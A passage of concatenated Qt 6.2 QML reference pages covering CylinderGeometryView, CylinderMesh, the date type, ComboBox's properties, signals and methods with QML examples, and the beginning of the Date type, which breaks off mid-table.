 The high definition shader guarantees that every visible texel of the volume texture is sampled when the volume is rendered. The low definition shader renders only a rough approximation of the volume contents, but at a much higher frame rate. The low definition shader does not guarantee every texel of the volume texture is sampled, so there may be flickering if the volume contains distinct thin features.

  **Note:** This value does not affect the level of detail when rendering the slices of the volume.

  Defaults to `true`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtdatavisualization-custom3dvolume.html>

CylinderGeometryView QML Type
=============================

 A cylindrical mesh. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Extras |
|  Instantiates: | [QCylinderGeometryView](qt3dextras-qcylindergeometryview) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-extras-cylindergeometryview-members.html)

 Properties
----------

 * **[length](qml-qt3d-extras-cylindergeometryview#length-prop)** : real
* **[radius](qml-qt3d-extras-cylindergeometryview#radius-prop)** : real
* **[rings](qml-qt3d-extras-cylindergeometryview#rings-prop)** : int
* **[slices](qml-qt3d-extras-cylindergeometryview#slices-prop)** : int

 Detailed Description
--------------------

 Property Documentation
----------------------

 ###  length : [real](qml-real)

 Holds the length of the cylinder.

 ###  radius : [real](qml-real)

 Holds the radius of the cylinder.

 ###  rings : [int](qml-int)

 Holds the number of rings in the mesh.

 ###  slices : [int](qml-int)

 Holds the number of slices in the mesh.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-extras-cylindergeometryview.html>

CylinderMesh QML Type
=====================

 A cylindrical mesh. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Extras |
|  Instantiates: | [QCylinderMesh](qt3dextras-qcylindermesh) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-extras-cylindermesh-members.html)

 Properties
----------

 * **[length](qml-qt3d-extras-cylindermesh#length-prop)** : real
* **[radius](qml-qt3d-extras-cylindermesh#radius-prop)** : real
* **[rings](qml-qt3d-extras-cylindermesh#rings-prop)** : int
* **[slices](qml-qt3d-extras-cylindermesh#slices-prop)** : int

 Detailed Description
--------------------

 Property Documentation
----------------------

 ###  length : [real](qml-real)

 Holds the length of the cylinder.

 ###  radius : [real](qml-real)

 Holds the radius of the cylinder.

 ###  rings : [int](qml-int)

 Holds the number of rings in the mesh.

 ###  slices : [int](qml-int)

 Holds the number of slices in the mesh.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-extras-cylindermesh.html>

date QML Basic Type
===================

 The `date` type refers to a date value, including the time of the day.

 To create a `date` value, specify it as a "YYYY-MM-DDThh:mm:ss.zzzZ" string. (The T is literal, YYYY is a full year number, MM and DD are month and day numbers, hh, mm and ss are hours, minutes and seconds, with .zzz as milliseconds and Z as time-zone offset. The T and following time are optional. If they are omitted, the date is handled as the start of UTC's day, which falls on other dates in some time-zones. When T is included, the :ss.zzz or just .zzz part can be omitted. With or without those, the zone offset can be omitted, in which case local time is used.) For example:

 
```
MyDatePicker { minDate: "2000-01-01 0:0"; maxDate: "2020-12-31 23:59" }
```
 To read a date value returned from a C++ extension class, use [Qt.formatDate](qml-qtqml-qt#formatDate-method)() and [Qt.formatDateTime](qml-qtqml-qt#formatDateTime-method)().

 When integrating with C++, note that any [QDate](qdate) or [QDateTime](qdatetime) value [passed into QML from C++](qtqml-cppintegration-data) is automatically converted into a `date` value, and vice-versa. Note, however, that converting a [QDate](qdate) will result in UTC's start of the day, which falls on a different date in some other time-zones. It is usually more robust to convert the [QDate](qdate) via a [QDateTime](qdatetime) explicitly, specifying local-time or a relevant time-zone and selecting a time of day (such as noon) that reliably exists (daylight-savings transitions skip an hour, near one end or the other of a day).

 This basic type is provided by the QML language. It can be implicitly converted to a [Date](qml-qtqml-date) object.

 **See also** [QML Date object](qml-qtqml-date) and [QML Basic Types](qtqml-typesystem-basictypes).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-date.html>

ComboBox QML Type
=================

 Combined button and popup list for selecting options. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.7 |
|  Inherits: | [Control](qml-qtquick-controls2-control) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-combobox-members.html)

 Properties
----------

 * **[acceptableInput](qml-qtquick-controls2-combobox#acceptableInput-prop)** : bool
* **[count](qml-qtquick-controls2-combobox#count-prop)** : int
* **[currentIndex](qml-qtquick-controls2-combobox#currentIndex-prop)** : int
* **[currentText](qml-qtquick-controls2-combobox#currentText-prop)** : string
* **[currentValue](qml-qtquick-controls2-combobox#currentValue-prop)** : var
* **[delegate](qml-qtquick-controls2-combobox#delegate-prop)** : Component
* **[displayText](qml-qtquick-controls2-combobox#displayText-prop)** : string
* **[down](qml-qtquick-controls2-combobox#down-prop)** : bool
* **[editText](qml-qtquick-controls2-combobox#editText-prop)** : string
* **[editable](qml-qtquick-controls2-combobox#editable-prop)** : bool
* **[flat](qml-qtquick-controls2-combobox#flat-prop)** : bool
* **[highlightedIndex](qml-qtquick-controls2-combobox#highlightedIndex-prop)** : int
* **[implicitContentWidthPolicy](qml-qtquick-controls2-combobox#implicitContentWidthPolicy-prop)** : enumeration
* **[implicitIndicatorHeight](qml-qtquick-controls2-combobox#implicitIndicatorHeight-prop)** : real
* **[implicitIndicatorWidth](qml-qtquick-controls2-combobox#implicitIndicatorWidth-prop)** : real
* **[indicator](qml-qtquick-controls2-combobox#indicator-prop)** : Item
* **[inputMethodComposing](qml-qtquick-controls2-combobox#inputMethodComposing-prop)** : bool
* **[inputMethodHints](qml-qtquick-controls2-combobox#inputMethodHints-prop)** : flags
* **[model](qml-qtquick-controls2-combobox#model-prop)** : model
* **[popup](qml-qtquick-controls2-combobox#popup-prop)** : Popup
* **[pressed](qml-qtquick-controls2-combobox#pressed-prop)** : bool
* **[selectTextByMouse](qml-qtquick-controls2-combobox#selectTextByMouse-prop)** : bool
* **[textRole](qml-qtquick-controls2-combobox#textRole-prop)** : string
* **[validator](qml-qtquick-controls2-combobox#validator-prop)** : Validator
* **[valueRole](qml-qtquick-controls2-combobox#valueRole-prop)** : string

 Signals
-------

 * void **[accepted](qml-qtquick-controls2-combobox#accepted-signal)**()
* void **[activated](qml-qtquick-controls2-combobox#activated-signal)**(int *index*)
* void **[highlighted](qml-qtquick-controls2-combobox#highlighted-signal)**(int *index*)

 Methods
-------

 * void **[decrementCurrentIndex](qml-qtquick-controls2-combobox#decrementCurrentIndex-method)**()
* int **[find](qml-qtquick-controls2-combobox#find-method)**(string *text*, enumeration *flags*)
* void **[incrementCurrentIndex](qml-qtquick-controls2-combobox#incrementCurrentIndex-method)**()
* int **[indexOfValue](qml-qtquick-controls2-combobox#indexOfValue-method)**(object *value*)
* void **[selectAll](qml-qtquick-controls2-combobox#selectAll-method)**()
* string **[textAt](qml-qtquick-controls2-combobox#textAt-method)**(int *index*)

 Detailed Description
--------------------


    ![]  
ComboBox is a combined button and popup list. It provides a means of presenting a list of options to the user in a way that takes up the minimum amount of screen space.

 ComboBox is populated with a data model. The data model is commonly a JavaScript array, a [ListModel](qml-qtqml-models-listmodel) or an integer, but other types of [data models](qtquick-modelviewsdata-modelview#qml-data-models) are also supported.

 
```
ComboBox {
    model: ["First", "Second", "Third"]
}
```
 Editable ComboBox
-----------------

 ComboBox can be made [editable](qml-qtquick-controls2-combobox#editable-prop). An editable combo box auto-completes its text based on what is available in the model.

 The following example demonstrates appending content to an editable combo box by reacting to the [accepted](qml-qtquick-controls2-combobox#accepted-signal) signal.

 
```
ComboBox {
    editable: true
    model: ListModel {
        id: model
        ListElement { text: "Banana" }
        ListElement { text: "Apple" }
        ListElement { text: "Coconut" }
    }
    onAccepted: {
        if (find(editText) === -1)
            model.append({text: editText})
    }
}
```
 ComboBox Model Roles
--------------------

 ComboBox is able to visualize standard [data models](qtquick-modelviewsdata-modelview#qml-data-models) that provide the `modelData` role:

 * models that have only one role
* models that do not have named roles (JavaScript array, integer)

 When using models that have multiple named roles, ComboBox must be configured to use a specific [text role](qml-qtquick-controls2-combobox#textRole-prop) for its [display text](qml-qtquick-controls2-combobox#displayText-prop) and [delegate](https://doc.qt.io/qt-6.2/qtquickcontrols-chattutorial-example.html#delegate) instances. If you want to use a role of the model item that corresponds to the text role, set [valueRole](qml-qtquick-controls2-combobox#valueRole-prop). The [currentValue](qml-qtquick-controls2-combobox#currentValue-prop) property and [indexOfValue](qml-qtquick-controls2-combobox#indexOfValue-method)() method can then be used to get information about those values.

 For example:

 
```
ApplicationWindow {
    width: 640
    height: 480
    visible: true

    // Used as an example of a backend - this would usually be
    // e.g. a C++ type exposed to QML.
    QtObject {
        id: backend
        property int modifier
    }

    ComboBox {
        textRole: "text"
        valueRole: "value"
        // When an item is selected, update the backend.
        onActivated: backend.modifier = currentValue
        // Set the initial currentIndex to the value stored in the backend.
        Component.onCompleted: currentIndex = indexOfValue(backend.modifier)
        model: [
            { value: Qt.NoModifier, text: qsTr("No modifier") },
            { value: Qt.ShiftModifier, text: qsTr("Shift") },
            { value: Qt.ControlModifier, text: qsTr("Control") }
        ]
    }
}
```
  **Note:** If ComboBox is assigned a data model that has multiple named roles, but [textRole](qml-qtquick-controls2-combobox#textRole-prop) is not defined, ComboBox is unable to visualize it and throws a `ReferenceError: modelData is not defined`.

  **See also** [Customizing ComboBox](qtquickcontrols2-customize#customizing-combobox), [Input Controls](qtquickcontrols2-input), and [Focus Management in Qt Quick Controls](qtquickcontrols2-focus).

 Property Documentation
----------------------

 ###  [read-only, since QtQuick.Controls 2.2 (Qt 5.9)] acceptableInput : [bool](qml-bool)

 This property holds whether the combo box contains acceptable text in the editable text field.

 If a validator has been set, the value is `true` only if the current text is acceptable to the validator as a final string (not as an intermediate string).

 This property was introduced in QtQuick.Controls 2.2 (Qt 5.9).

 **See also** [validator](qml-qtquick-controls2-combobox#validator-prop) and [accepted](qml-qtquick-controls2-combobox#accepted-signal).

 ###  [read-only] count : [int](qml-int)

 This property holds the number of items in the combo box.

 ###  currentIndex : [int](qml-int)

 This property holds the index of the current item in the combo box.

 The default value is `-1` when [count](qml-qtquick-controls2-combobox#count-prop) is `0`, and `0` otherwise.

 **See also** [activated](qml-qtquick-controls2-combobox#activated-signal)(), [currentText](qml-qtquick-controls2-combobox#currentText-prop), and [highlightedIndex](qml-qtquick-controls2-combobox#highlightedIndex-prop).

 ###  [read-only] currentText : [string](qml-string)

 This property holds the text of the current item in the combo box.

 **See also** [currentIndex](qml-qtquick-controls2-combobox#currentIndex-prop), [displayText](qml-qtquick-controls2-combobox#displayText-prop), [textRole](qml-qtquick-controls2-combobox#textRole-prop), and [editText](qml-qtquick-controls2-combobox#editText-prop).

 ###  [read-only, since QtQuick.Controls 2.14 (Qt 5.14)] currentValue : [var](qml-var)

 This property holds the value of the current item in the combo box.

 For an example of how to use this property, see [ComboBox Model Roles](qml-qtquick-controls2-combobox#combobox-model-roles).

 This property was introduced in QtQuick.Controls 2.14 (Qt 5.14).

 **See also** [currentIndex](qml-qtquick-controls2-combobox#currentIndex-prop), [currentText](qml-qtquick-controls2-combobox#currentText-prop), and [valueRole](qml-qtquick-controls2-combobox#valueRole-prop).

 ###  delegate : [Component](qml-qtqml-component)

 This property holds a delegate that presents an item in the combo box popup.

 It is recommended to use [ItemDelegate](qml-qtquick-controls2-itemdelegate) (or any other [AbstractButton](qml-qtquick-controls2-abstractbutton) derivatives) as the delegate. This ensures that the interaction works as expected, and the popup will automatically close when appropriate. When other types are used as the delegate, the popup must be closed manually. For example, if [MouseArea](qml-qtquick-mousearea) is used:

 
```
delegate: Rectangle {
    // ...
    MouseArea {
        // ...
        onClicked: comboBox.popup.close()
    }
}
```
 **See also** [ItemDelegate](qml-qtquick-controls2-itemdelegate) and [Customizing ComboBox](qtquickcontrols2-customize#customizing-combobox).

 ###  displayText : [string](qml-string)

 This property holds the text that is displayed on the combo box button.

 By default, the display text presents the current selection. That is, it follows the text of the current item. However, the default display text can be overridden with a custom value.

 
```
ComboBox {
    currentIndex: 1
    displayText: "Size: " + currentText
    model: ["S", "M", "L"]
}
```
 **See also** [currentText](qml-qtquick-controls2-combobox#currentText-prop) and [textRole](qml-qtquick-controls2-combobox#textRole-prop).

 ###  [since QtQuick.Controls 2.2 (Qt 5.9)] down : [bool](qml-bool)

 This property holds whether the combo box button is visually down.

 Unless explicitly set, this property is `true` when either `pressed` or `popup.visible` is `true`. To return to the default value, set this property to `undefined`.

 This property was introduced in QtQuick.Controls 2.2 (Qt 5.9).

 **See also** [pressed](qml-qtquick-controls2-combobox#pressed-prop) and [popup](qml-qtquick-controls2-combobox#popup-prop).

 ###  [since QtQuick.Controls 2.2 (Qt 5.9)] editText : [string](qml-string)

 This property holds the text in the text field of an editable combo box.

 This property was introduced in QtQuick.Controls 2.2 (Qt 5.9).

 **See also** [editable](qml-qtquick-controls2-combobox#editable-prop), [currentText](qml-qtquick-controls2-combobox#currentText-prop), and [displayText](qml-qtquick-controls2-combobox#displayText-prop).

 ###  [since QtQuick.Controls 2.2 (Qt 5.9)] editable : [bool](qml-bool)

 This property holds whether the combo box is editable.

 The default value is `false`.

 This property was introduced in QtQuick.Controls 2.2 (Qt 5.9).

 **See also** [validator](qml-qtquick-controls2-combobox#validator-prop).

 ###  [since QtQuick.Controls 2.1 (Qt 5.8)] flat : [bool](qml-bool)

 This property holds whether the combo box button is flat.

 A flat combo box button does not draw a background unless it is interacted with. In comparison to normal combo boxes, flat combo boxes provide looks that make them stand out less from the rest of the UI. For instance, when placing a combo box into a tool bar, it may be desirable to make the combo box flat so it matches better with the flat looks of tool buttons.

 The default value is `false`.

 This property was introduced in QtQuick.Controls 2.1 (Qt 5.8).

 ###  [read-only] highlightedIndex : [int](qml-int)

 This property holds the index of the highlighted item in the combo box popup list.

 When a highlighted item is activated, the popup is closed, [currentIndex](qml-qtquick-controls2-combobox#currentIndex-prop) is set to `highlightedIndex`, and the value of this property is reset to `-1`, as there is no longer a highlighted item.

 **See also** [highlighted](qml-qtquick-controls2-combobox#highlighted-signal)() and [currentIndex](qml-qtquick-controls2-combobox#currentIndex-prop).

 ###  [since QtQuick.Controls 6.0 (Qt 6.0)] implicitContentWidthPolicy : [enumeration](qml-enumeration)

 This property controls how the [implicitContentWidth](qml-qtquick-controls2-control#implicitContentWidth-prop) of the [ComboBox](qml-qtquick-controls2-combobox) is calculated.

 When the width of a [ComboBox](qml-qtquick-controls2-combobox) is not large enough to display text, that text is elided. Depending on which parts of the text are elided, this can make selecting an item difficult for the end user. An efficient way of ensuring that a [ComboBox](qml-qtquick-controls2-combobox) is wide enough to avoid text being elided is to set a width that is known to be large enough:

 
```
width: 300
implicitContentWidthPolicy: ComboBox.ContentItemImplicitWidth
```
 However, it is often not possible to know whether or not a hard-coded value will be large enough, as the size of text depends on many factors, such as font family, font size, translations, and so on.

 implicitContentWidthPolicy provides an easy way to control how the implicitContentWidth is calculated, which in turn affects the [implicitWidth](qml-qtquick-item#implicitWidth-prop) of the [ComboBox](qml-qtquick-controls2-combobox) and ensures that text will not be elided.

 The available values are:

 

| Constant | Description |
| --- | --- |
| `ContentItemImplicitWidth` | The implicitContentWidth will default to that of the [contentItem](qml-qtquick-controls2-control#contentItem-prop). This is the most efficient option, as no extra text layout is done. |
| `WidestText` | The implicitContentWidth will be set to the implicit width of the the largest text for the given [textRole](qml-qtquick-controls2-combobox#textRole-prop) every time the model changes. This option should be used with smaller models, as it can be expensive. |
| `WidestTextWhenCompleted` | The implicitContentWidth will be set to the implicit width of the the largest text for the given [textRole](qml-qtquick-controls2-combobox#textRole-prop) once after [component completion](qqmlparserstatus#componentComplete). This option should be used with smaller models, as it can be expensive. |

 The default value is `ContentItemImplicitWidth`.

 As this property only affects the `implicitWidth` of the [ComboBox](qml-qtquick-controls2-combobox), setting an explicit [width](qml-qtquick-item#width-prop) can still result in eliding.

  **Note:** This feature requires the contentItem to be a type derived from [TextInput](qml-qtquick-textinput).

   **Note:** This feature requires text to be laid out, and can therefore be expensive for large models or models whose contents are updated frequently.

  This property was introduced in QtQuick.Controls 6.0 (Qt 6.0).

 ###  [read-only, since QtQuick.Controls 2.5 (Qt 5.12)] implicitIndicatorHeight : [real](qml-real)

 This property holds the implicit indicator height.

 The value is equal to `indicator ? indicator.implicitHeight : 0`.

 This is typically used, together with [implicitContentHeight](qml-qtquick-controls2-control#implicitContentHeight-prop) and [implicitBackgroundHeight](qml-qtquick-controls2-control#implicitBackgroundHeight-prop), to calculate the [implicitHeight](qml-qtquick-item#implicitHeight-prop).

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [implicitIndicatorWidth](qml-qtquick-controls2-combobox#implicitIndicatorWidth-prop).

 ###  [read-only, since QtQuick.Controls 2.5 (Qt 5.12)] implicitIndicatorWidth : [real](qml-real)

 This property holds the implicit indicator width.

 The value is equal to `indicator ? indicator.implicitWidth : 0`.

 This is typically used, together with [implicitContentWidth](qml-qtquick-controls2-control#implicitContentWidth-prop) and [implicitBackgroundWidth](qml-qtquick-controls2-control#implicitBackgroundWidth-prop), to calculate the [implicitWidth](qml-qtquick-item#implicitWidth-prop).

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [implicitIndicatorHeight](qml-qtquick-controls2-combobox#implicitIndicatorHeight-prop).

 ###  indicator : [Item](qml-qtquick-item)

 This property holds the drop indicator item.

 **See also** [Customizing ComboBox](qtquickcontrols2-customize#customizing-combobox).

 ###  [read-only, since QtQuick.Controls 2.2 (Qt 5.9)] inputMethodComposing : [bool](qml-bool)

 This property holds whether an editable combo box has partial text input from an input method.

 While it is composing, an input method may rely on mouse or key events from the combo box to edit or commit the partial text. This property can be used to determine when to disable event handlers that may interfere with the correct operation of an input method.

 This property was introduced in QtQuick.Controls 2.2 (Qt 5.9).

 ###  [since QtQuick.Controls 2.2 (Qt 5.9)] inputMethodHints : flags

 Provides hints to the input method about the expected content of the combo box and how it should operate.

 The default value is `Qt.ImhNoPredictiveText`.

 The value is a bit-wise combination of flags or `Qt.ImhNone` if no hints are set.

 Flags that alter behavior are:

 * Qt.ImhHiddenText - Characters should be hidden, as is typically used when entering passwords.
* Qt.ImhSensitiveData - Typed text should not be stored by the active input method in any persistent storage like predictive user dictionary.
* Qt.ImhNoAutoUppercase - The input method should not try to automatically switch to upper case when a sentence ends.
* Qt.ImhPreferNumbers - Numbers are preferred (but not required).
* Qt.ImhPreferUppercase - Upper case letters are preferred (but not required).
* Qt.ImhPreferLowercase - Lower case letters are preferred (but not required).
* Qt.ImhNoPredictiveText - Do not use predictive text (i.e. dictionary lookup) while typing.
* Qt.ImhDate - The text editor functions as a date field.
* Qt.ImhTime - The text editor functions as a time field.

 Flags that restrict input (exclusive flags) are:

 * Qt.ImhDigitsOnly - Only digits are allowed.
* Qt.ImhFormattedNumbersOnly - Only number input is allowed. This includes decimal point and minus sign.
* Qt.ImhUppercaseOnly - Only upper case letter input is allowed.
* Qt.ImhLowercaseOnly - Only lower case letter input is allowed.
* Qt.ImhDialableCharactersOnly - Only characters suitable for phone dialing are allowed.
* Qt.ImhEmailCharactersOnly - Only characters suitable for email addresses are allowed.
* Qt.ImhUrlCharactersOnly - Only characters suitable for URLs are allowed.

 Masks:

 * Qt.ImhExclusiveInputMask - This mask yields nonzero if any of the exclusive flags are used.

 This property was introduced in QtQuick.Controls 2.2 (Qt 5.9).

 ###  model : model

 This property holds the model providing data for the combo box.

 
```
ComboBox {
    textRole: "key"
    model: ListModel {
        ListElement { key: "First"; value: 123 }
        ListElement { key: "Second"; value: 456 }
        ListElement { key: "Third"; value: 789 }
    }
}
```
 **See also** [textRole](qml-qtquick-controls2-combobox#textRole-prop) and [Data Models](qtquick-modelviewsdata-modelview#qml-data-models).

 ###  popup : [Popup](qml-qtquick-controls2-popup)

 This property holds the popup.

 The popup can be opened or closed manually, if necessary:

 
```
onSpecialEvent: comboBox.popup.close()
```
 **See also** [Customizing ComboBox](qtquickcontrols2-customize#customizing-combobox).

 ###  [read-only] pressed : [bool](qml-bool)

 This property holds whether the combo box button is physically pressed. A button can be pressed by either touch or key events.

 **See also** [down](qml-qtquick-controls2-combobox#down-prop).

 ###  [since QtQuick.Controls 2.15 (Qt 5.15)] selectTextByMouse : [bool](qml-bool)

 This property holds whether the text field for an editable [ComboBox](qml-qtquick-controls2-combobox) can be selected with the mouse.

 The default value is `false`.

 This property was introduced in QtQuick.Controls 2.15 (Qt 5.15).

 ###  textRole : [string](qml-string)

 This property holds the model role used for populating the combo box.

 When the model has multiple roles, `textRole` can be set to determine which role should be displayed.

 **See also** [model](https://doc.qt.io/qt-6.2/qtquickcontrols-chattutorial-example.html#model), [currentText](qml-qtquick-controls2-combobox#currentText-prop), [displayText](qml-qtquick-controls2-combobox#displayText-prop), and [ComboBox Model Roles](qml-qtquick-controls2-combobox#combobox-model-roles).

 ###  [since QtQuick.Controls 2.2 (Qt 5.9)] validator : Validator

 This property holds an input text validator for an editable combo box.

 When a validator is set, the text field will only accept input which leaves the text property in an intermediate state. The [accepted](qml-qtquick-controls2-combobox#accepted-signal) signal will only be emitted if the text is in an acceptable state when the **Return** or **Enter** key is pressed.

 The currently supported validators are [IntValidator](qml-qtquick-intvalidator), [DoubleValidator](qml-qtquick-doublevalidator), and [RegularExpressionValidator](qml-qtquick-regularexpressionvalidator). An example of using validators is shown below, which allows input of integers between `0` and `10` into the text field:

 
```
ComboBox {
    model: 10
    editable: true
    validator: IntValidator {
        top: 9
        bottom: 0
    }
}
```
 This property was introduced in QtQuick.Controls 2.2 (Qt 5.9).

 **See also** [acceptableInput](qml-qtquick-controls2-combobox#acceptableInput-prop), [accepted](qml-qtquick-controls2-combobox#accepted-signal), and [editable](qml-qtquick-controls2-combobox#editable-prop).

 ###  [since QtQuick.Controls 2.14 (Qt 5.14)] valueRole : [string](qml-string)

 This property holds the model role used for storing the value associated with each item in the model.

 For an example of how to use this property, see [ComboBox Model Roles](qml-qtquick-controls2-combobox#combobox-model-roles).

 This property was introduced in QtQuick.Controls 2.14 (Qt 5.14).

 **See also** [model](https://doc.qt.io/qt-6.2/qtquickcontrols-chattutorial-example.html#model) and [currentValue](qml-qtquick-controls2-combobox#currentValue-prop).

 Signal Documentation
--------------------

 ###  `[since QtQuick.Controls 2.2 (Qt 5.9)]` void accepted()

 This signal is emitted when the **Return** or **Enter** key is pressed on an [editable](qml-qtquick-controls2-combobox#editable-prop) combo box.

 You can handle this signal in order to add the newly entered item to the model, for example:

 
```
ComboBox {
    editable: true
    model: ListModel {
        id: model
        ListElement { text: "Banana" }
        ListElement { text: "Apple" }
        ListElement { text: "Coconut" }
    }
    onAccepted: {
        if (find(editText) === -1)
            model.append({text: editText})
    }
}
```
 Before the signal is emitted, a check is done to see if the string exists in the model. If it does, [currentIndex](qml-qtquick-controls2-combobox#currentIndex-prop) will be set to its index, and [currentText](qml-qtquick-controls2-combobox#currentText-prop) to the string itself.

 After the signal has been emitted, and if the first check failed (that is, the item did not exist), another check will be done to see if the item was added by the signal handler. If it was, the [currentIndex](qml-qtquick-controls2-combobox#currentIndex-prop) and [currentText](qml-qtquick-controls2-combobox#currentText-prop) are updated accordingly. Otherwise, they will be set to `-1` and `""`, respectively.

  **Note:** If there is a [validator](qml-qtquick-controls2-combobox#validator-prop) set on the combo box, the signal will only be emitted if the input is in an acceptable state.

  **Note:** The corresponding handler is `onAccepted`.

 This signal was introduced in QtQuick.Controls 2.2 (Qt 5.9).

 ###  void activated([int](qml-int) *index*)

 This signal is emitted when the item at *index* is activated by the user.

 An item is activated when it is selected while the popup is open, causing the popup to close (and [currentIndex](qml-qtquick-controls2-combobox#currentIndex-prop) to change), or while the popup is closed and the combo box is navigated via keyboard, causing the [currentIndex](qml-qtquick-controls2-combobox#currentIndex-prop) to change. The [currentIndex](qml-qtquick-controls2-combobox#currentIndex-prop) property is set to *index*.

 **Note:** The corresponding handler is `onActivated`.

 **See also** [currentIndex](qml-qtquick-controls2-combobox#currentIndex-prop).

 ###  void highlighted([int](qml-int) *index*)

 This signal is emitted when the item at *index* in the popup list is highlighted by the user.

 The highlighted signal is only emitted when the popup is open and an item is highlighted, but not necessarily [activated](qml-qtquick-controls2-combobox#activated-signal).

 **Note:** The corresponding handler is `onHighlighted`.

 **See also** [highlightedIndex](qml-qtquick-controls2-combobox#highlightedIndex-prop).

 Method Documentation
--------------------

 ###  void decrementCurrentIndex()

 Decrements the current index of the combo box, or the highlighted index if the popup list is visible.

 **See also** [currentIndex](qml-qtquick-controls2-combobox#currentIndex-prop) and [highlightedIndex](qml-qtquick-controls2-combobox#highlightedIndex-prop).

 ###  [int](qml-int) find([string](qml-string) *text*, [enumeration](qml-enumeration) *flags*)

 Returns the index of the specified *text*, or `-1` if no match is found.

 The way the search is performed is defined by the specified match *flags*. By default, combo box performs case sensitive exact matching (`Qt.MatchExactly`). All other match types are case-insensitive unless the `Qt.MatchCaseSensitive` flag is also specified.

 

| Constant | Description |
| --- | --- |
| `Qt.MatchExactly` | The search term matches exactly (default). |
| `Qt.MatchRegularExpression` | The search term matches as a regular expression. |
| `Qt.MatchWildcard` | The search term matches using wildcards. |
| `Qt.MatchFixedString` | The search term matches as a fixed string. |
| `Qt.MatchStartsWith` | The search term matches the start of the item. |
| `Qt.MatchEndsWidth` | The search term matches the end of the item. |
| `Qt.MatchContains` | The search term is contained in the item. |
| `Qt.MatchCaseSensitive` | The search is case sensitive. |

  **Note:** This function can only be used after [Component.completed](qml-qtqml-component#completed-signal)() is emitted for the [ComboBox](qml-qtquick-controls2-combobox).

  For example:

 
```
ComboBox {
    model: ListModel {
        ListElement { text: "Banana" }
        ListElement { text: "Apple" }
        ListElement { text: "Coconut" }
    }
    Component.onCompleted: currentIndex = find("Coconut")
}
```
 **See also** [textRole](qml-qtquick-controls2-combobox#textRole-prop).

 ###  void incrementCurrentIndex()

 Increments the current index of the combo box, or the highlighted index if the popup list is visible.

 **See also** [currentIndex](qml-qtquick-controls2-combobox#currentIndex-prop) and [highlightedIndex](qml-qtquick-controls2-combobox#highlightedIndex-prop).

 ###  `[since QtQuick.Controls 2.14 (Qt 5.14)]` [int](qml-int) indexOfValue(object *value*)

 Returns the index of the specified *value*, or `-1` if no match is found.

 For an example of how to use this method, see [ComboBox Model Roles](qml-qtquick-controls2-combobox#combobox-model-roles).

  **Note:** This function can only be used after [Component.completed](qml-qtqml-component#completed-signal)() is emitted for the [ComboBox](qml-qtquick-controls2-combobox).

  This method was introduced in QtQuick.Controls 2.14 (Qt 5.14).

 **See also** [find](qml-qtquick-controls2-combobox#find-method)(), [currentValue](qml-qtquick-controls2-combobox#currentValue-prop), [currentIndex](qml-qtquick-controls2-combobox#currentIndex-prop), and [valueRole](qml-qtquick-controls2-combobox#valueRole-prop).

 ###  `[since QtQuick.Controls 2.2 (Qt 5.9)]` void selectAll()

 Selects all the text in the editable text field of the combo box.

 This method was introduced in QtQuick.Controls 2.2 (Qt 5.9).

 **See also** [editText](qml-qtquick-controls2-combobox#editText-prop).

 ###  [string](qml-string) textAt([int](qml-int) *index*)

 Returns the text for the specified *index*, or an empty string if the index is out of bounds.

  **Note:** This function can only be used after [Component.completed](qml-qtqml-component#completed-signal)() is emitted for the [ComboBox](qml-qtquick-controls2-combobox).

  For example:

 
```
ComboBox {
    model: ListModel {
        ListElement { text: "Banana" }
        ListElement { text: "Apple" }
        ListElement { text: "Coconut" }
    }
    onActivated: (index) => { print(textAt(index)) }
}
```
 **See also** [textRole](qml-qtquick-controls2-combobox#textRole-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-combobox.html>

Date QML Type
=============

 Provides date functions. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQml |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtqml-date-members.html)

 Methods
-------

 * string **[fromLocaleDateString](qml-qtqml-date#fromLocaleDateString-method)**(*locale*, *dateString*, *format*)
* string **[fromLocaleString](qml-qtqml-date#fromLocaleString-method)**(*locale*, *dateTimeString*, *format*)
* string **[fromLocaleTimeString](qml-qtqml-date#fromLocaleTimeString-method)**(*locale*, *timeString*, *format*)
* string **[timeZoneUpdated](qml-qtqml-date#timeZoneUpdated-method)**()
* string **[toLocaleDateString](qml-qtqml-date#toLocaleDateString-method)**(*locale*, *format*)
* string **[toLocaleString](qml-qtqml-date#toLocaleString-method)**(*locale*, *format*)
* string **[toLocaleTimeString](qml-qtqml-date#toLocaleTimeString-method)**(*locale*, *format*)

 Detailed Description
--------------------

 The QML Date object extends the [JS Date object](https://tc39.es/ecma262/#sec-date-objects) with locale aware functions.

 Functions that accept a `format` argument take either Locale.LongFormat, Locale.ShortFormat, Locale.NarrowFormat enumeration values, or a string specifying the format.

 The form of the supported format strings is as described in the documentation of [QDate::toString](qdate#toString)(), [QTime::toString](qtime#toString)() and [QDateTime::toString](qdatetime#toString)().

 If the date is invalid, an empty string is returned.

 Format Enumeration Values
-------------------------

 Use the enumeration values when you want a format that matches the locale preferences.

 

|  |  |
| --- | --- |
| Locale.LongFormat | Longer format |
| Locale.ShortFormat | Shorter format |
| Locale.NarrowFormat | In this context same as Locale.ShortFormat |

 The format that the enumerations represent will depend on your locale, but also the method that the enumeration is used for.

 For example, for the `en_US` locale, these format strings are used:

 

| Function | Locale Enum | Format String |
| --- | --- | --- |
